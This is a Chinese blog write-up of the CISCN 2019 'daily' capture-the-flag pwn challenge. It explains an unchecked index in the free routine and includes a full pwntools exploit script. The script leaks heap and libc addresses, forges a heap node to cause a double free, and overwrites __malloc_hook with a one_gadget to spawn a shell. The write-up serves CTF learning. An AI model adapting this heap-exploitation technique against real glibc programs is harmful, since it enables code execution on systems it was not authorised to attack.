ciscn2019-daily

介绍

国赛2019的一道题,不难,但是我们三个pwn手一个都没做出来,尴尬。

(时隔N个月,终于恢复博客了)

分析程序

程序是一个典型的单选系统,漏洞出现在remove的时候,在free的时候没有index做检查,导致可以free bss段周围任意一个位置。

由于heap离bss段的位置并不是很远,所以在32位index的范围内还是可以够到的,这样我们就可以在堆上面伪造一个node出来,从而可以free任意地址。

保护开了Full RELRO,所以got表不可写。

利用方式

  1. add读入数据的时候,结尾没有填’\x00’,所以可以造成信息泄漏。首先malloc两次fastbin,然后free掉,再次malloc出来就会带有残留的heap地址。其次malloc一个smallbin,free掉,再次malloc出来,会带有libc的地址。
  2. 在堆上伪造一个node,其中需要free的地址为一个已分配的node,接着利用未检查的index,使其free掉堆上伪造的node中的地址。
  3. 正常free掉,被伪造的那个node的地址,即可造成double free。(需绕过检查)
  4. 利用double free讲__malloc_hook改为onegadget,恶意出发double free成功getshell。(直接malloc出发不满足条件)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *
import sys

# context.log_level = 'debug'


binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

def show():
p.sendlineafter('Your choice:','1')


def add(length, daily):
p.sendlineafter('Your choice:','2')
p.sendlineafter('Please enter the length of daily:',str(length))
p.recvuntil('Now you can write you daily\n')
p.send(daily)


def change(idx,daily):
p.sendlineafter('Your choice:','3')
p.sendlineafter('Please enter the index of daily:',str(idx))
p.recvuntil('Please enter the new daily\n')
p.send(daily)


def delete(idx):
p.sendlineafter('Your choice:','4')
p.sendlineafter('Please enter the index of daily:',str(idx))

# leak

add(200,'1') # 0

add(20,'123') # 1
add(20,'123') # 2
delete(1)
delete(2)
add(20,'\n') # 1
delete(0)
add(200,'\n') # 0
show()

p.recvuntil('0 : \n')
leak = p.recv(5)
libc.address = u64('\x00' + leak + '\x00\x00') - (0x7ff74fb99b00 - 0x7ff74f7d5000)
p.info('libc.address: %s' % hex(libc.address))

p.recvuntil('1 : \n')
leak = p.recvuntil('=')[:-1]
heap = u64(('\x00' + leak).ljust(8,'\x00'))
p.info('heap_addr: %s' % hex(heap))


# 为了后面的double free
add(0x20, '123123')
add(0x20, p64(heap + 0x140) * 4)


# malloc_hook -> onegadget
delete(0)

add(0x60,'1111') # 0
change(0,'#' * 8 + p64(heap + 0x10))

list_addr = 0x0000000000602060
delete((heap - list_addr) // 0x10 + 1)

change(0,p64(libc.symbols['__malloc_hook'] - 35))

add(0x60,'\n')

payload = cyclic(19) + p64(libc.address + 0xf02a4)
add(0x60,payload)


# double free 触发 malloc_hook
delete(3)
delete((heap + 0x140 - list_addr) // 0x10 + 1)
# gdb.attach(p,'b *0x0000000000400C1C')


# p.close()
p.interactive()